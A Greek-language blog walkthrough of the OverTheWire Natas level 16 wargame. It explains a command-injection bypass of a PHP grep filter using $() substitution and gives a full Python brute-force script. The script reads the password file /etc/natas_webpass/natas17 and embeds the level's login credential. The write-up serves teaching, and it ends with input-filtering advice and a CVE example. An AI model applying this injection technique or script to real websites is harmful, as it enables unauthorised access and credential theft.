Το 16ο επίπεδο του πολεμικού παιγνίου Natas συνδυάζει πολλές από τις γνώσεις των προηγούμενων επιπέδων για να μας διδάξει μία άλλη τεχνική επίθεσης. Όπως αναφέρουμε σε όλα τα άρθρα μας σε αυτή τη κατηγορία, το πιο σημαντικό είναι να δοκιμάζετε μόνοι σας κάθε επίπεδο προτού μελετήσετε άλλες λύσεις όπως οι δικές μας. Παραθέτουμε στη συνέχεια τους συνδέσμους για όλες τις λύσεις μας έως αυτό το επίπεδο, και στη συνέχεια ακολουθεί η λύση μας και γι’αυτό το επίπεδο.
Όπως κάνουμε πάντα, συνδεόμαστε στο νέο επίπεδο με το όνομα χρήστη natas16 και το κωδικό πρόσβασης που αποκτήσαμε από το προηγούμενο επίπεδο. Μετά τη σύνδεση βλέπουμε μία σελίδα που γράφει «For security reasons, we now filter even more on certain characters» (Για λόγους ασφαλείας, πλέον φιλτράρουμε ακόμα περισσότερα σε συγκεκριμένους χαρακτήρες), και στη συνέχεια έχει ένα πεδίο εισαγωγής λέξεων προς αναζήτηση (Find words containing) και ένα κουμπί αναζήτησης (Search). Για ακόμα μία φορά οι δημιουργοί του μας προσφέρουν το πηγαίο κώδικα (View sourcecode) για να βρούμε το κενό ασφαλείας πιο εύκολα.
Το επίπεδο αυτό αμέσως μας θυμίζει έντονα τα επίπεδα 9 και 10, και ο πηγαίος κώδικας το επιβεβαιώνει αυτό. Βλέπετε το πηγαίο κώδικα αναζήτησης παρακάτω.
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&`'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i "$key" dictionary.txt"); } } ?>
Είναι ουσιαστικά ο ίδιος ακριβώς κώδικας με μοναδική διαφορά ότι η συνάρτηση preg_match() πλέον μας απαγορεύει να εισάγουμε τους χαρακτήρες που είχαμε χρησιμοποιήσει στις προηγούμενες επιθέσεις μας. Για την ακρίβεια, φιλτράρει τους ακόλουθους χαρακτήρες.
Ωστόσο, βλέπουμε ότι δε φιλτράρει ούτε τους χαρακτήρες των παρενθέσεων, ούτε το σύμβολο του δολαρίου. Στη γραμμή εντολών Bash ενός λειτουργικού συστήματος Linux αυτός είναι ένας πολύ σημαντικός συνδυασμός χαρακτήρων καθώς εκτελεί εντολές. Για παράδειγμα, το παρακάτω θα εκτελέσει την εντολή «date» και θα αποθηκεύσει το αποτέλεσμα της στη μεταβλητή «hmeromhnia».
hmeromhnia=$(date)
Γνωρίζοντας το παραπάνω, και σε συνδυασμό με όσα είχαμε κάνει στα επίπεδα 9 και 10, μπορούμε να προσαρμόσουμε αυτές τις επιθέσεις κάπως έτσι.
Το παραπάνω σημαίνει ότι εάν υπάρχει κάτι που να περιέχει το γράμμα «a» στο αρχείο /etc/natas_webpass/natas17, τότε το πρόγραμμα δε θα μας επιστρέψει τίποτα καθώς στο λεξικό (αρχείο dictionary.txt) δεν υπάρχουν λέξεις όπως «asomething». Από την άλλη πλευρά, εάν ο κωδικός που υπάρχει στο αρχείο /etc/natas_webpass/natas17 δε περιέχει το γράμμα «a», τότε το παραπάνω θα μας επιστρέψει «something» καθώς αυτό υπάρχει στο λεξικό.
Με αυτό το τρόπο μπορούμε να κάνουμε μία επίθεση ωμής δύναμης (ή brute-force στα Αγγλικά) δοκιμάζοντας όλους τους πιθανούς χαρακτήρες μέχρι να ανακατασκευάσουμε ολόκληρο το κωδικό πρόσβασης του επόμενου επιπέδου. Για να το επιτύχουμε αυτό χρησιμοποιήσαμε το πρόγραμμα που είχαμε γράψει στο «OTW Natas #15» με κάποιες μετατροπές ώστε να κάνει αυτό που θέλουμε σε αυτή τη περίπτωση. Βλέπετε το τελικό αποτέλεσμα παρακάτω.
#!/usr/bin/env python import httplib import urllib import re import base64 # Ο άγνωστος κωδικός του επόμενου επιπέδου kwdikos_epomenou_epipedou = "" # Όλοι οι πιθανοί χαρακτήρες που μπορεί να υπάρχουν στο κωδικό pithanoi_xarakthres_kwdikou = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # Ένας μετρητής για τους χαρακτήρες metrhths = 0 # Οι κεφαλίδες της σύνδεσης kefalides = {} # Οι παραμέτροι της ιστοσελίδας parametroi_selidas = {} # Το όνομα χρήστη για σύνδεση onoma_xrhsth = "natas16" # Ο κωδικός πρόσβασης για σύνδεση kwdikos_prosbashs = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh" # Προετοιμασία ρυθμίσεων σύνδεσης στον εξυπηρετητή και σύνδεση syndesh = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") kwdikopoihmena_stoixeia_syndeshs = base64.encodestring('%s:%s' % (onoma_xrhsth, kwdikos_prosbashs)).replace('n', '') kefalides["Authorization"] = "Basic %s" % kwdikopoihmena_stoixeia_syndeshs kefalides["Content-Type"] = "application/x-www-form-urlencoded" # Για όσο δεν έχουμε συμπληρώσει 32 χαρακτήρες στο κωδικό πρόσβασης # δοκίμασε τον επόμενο πιθανό χαρακτήρα while metrhths != 32: for enas_xarakthras in pithanoi_xarakthres_kwdikou: kwdikos_epomenou_epipedou += enas_xarakthras # Προετοιμασία της κακόβουλης παραμέτρου όπως περιγράψαμε στο άρθρο μας parametroi_selidas = urllib.quote_plus("$(grep -E ^" + kwdikos_epomenou_epipedou + ".* /etc/natas_webpass/natas17)hackers") # Αποστολή του αιτήματος στον εξυπηρετητή syndesh.request("GET", "/?needle=" + parametroi_selidas + "&submit=Search", "", kefalides) # Αποθήκευση της απάντηση στη μεταβλητή apanthsh apanthsh = syndesh.getresponse() data = apanthsh.read() # Εάν εμφανίστηκε το "hackers" τότε δε βρήκαμε το σωστό συνδυασμό # και προχωράμε στον επόμενο κωδικό, αλλιώς # αποθήκευσε το γράμμα που βρήκες if data.count("hackers") == 0: print 'Epomenos kwdikos: ', kwdikos_epomenou_epipedou metrhths += 1 break else: kwdikos_epomenou_epipedou = kwdikos_epomenou_epipedou[:-1] # Κλείσιμο της σύνδεσης syndesh.close() # Τύπωσε στην οθόνη το κωδικό του επόμενου επιπέδου print 'Kwdikos gia to natas17: ', kwdikos_epomenou_epipedou
Και το παραπάνω μπορείτε να δείτε στη πράξη πως είναι παρακάτω όπου το εκτελέσαμε από τη γραμμή εντολών ενός λειτουργικού συστήματος Linux.
Και έτσι καταφέραμε και αυτή τη φορά να αποκτήσουμε το κωδικό πρόσβασης για το επόμενο επίπεδο χάρη στην ευπάθεια τύπου «command injection» (έγχυση εντολών) που είχε η ιστοσελίδα. Μέχρι και σήμερα πολλές ιστοσελίδες αλλά και προγράμματα παραβιάζονται από αυτού του είδους την ευπάθεια. Ένα πρόσφατο παράδειγμα ήταν το πρόγραμμα διαχείρισης δικτύων του λειτουργικού συστήματος Red Hat Enterprise Linux από το Μάιο του 2018 που είχε μία ευπάθεια στο υποσύστημα DHCP. Σε αυτή την ευπάθεια συστήματος δόθηκε ο μοναδικός αριθμός κενού ασφαλείας CVE-2018-1111. Η ευπάθεια που είχε επέτρεπε σε κακόβουλους χρήστες να εισάγουν εντολές μέσω μίας παραμέτρου που δε φιλτράρονταν προσεκτικά και εν συνεχεία αυτές οι εντολές εκτελούνταν με δικαιώματα διαχειριστή συστήματος (root). Έτσι ένας απλός χρήστης μπορούσε να χρησιμοποιήσει αυτό το κενό ασφαλείας για να αποκτήσει δικαιώματα διαχειριστή. Γι’αυτό πρέπει να φιλτράρουμε πολύ προσεκτικά όλες τις παραμέτρους προτού τις χρησιμοποιήσουμε σε ένα πρόγραμμα ή μία ιστοσελίδα.
Natas
#Πολεμικά #Παίγνια #OTW #Natas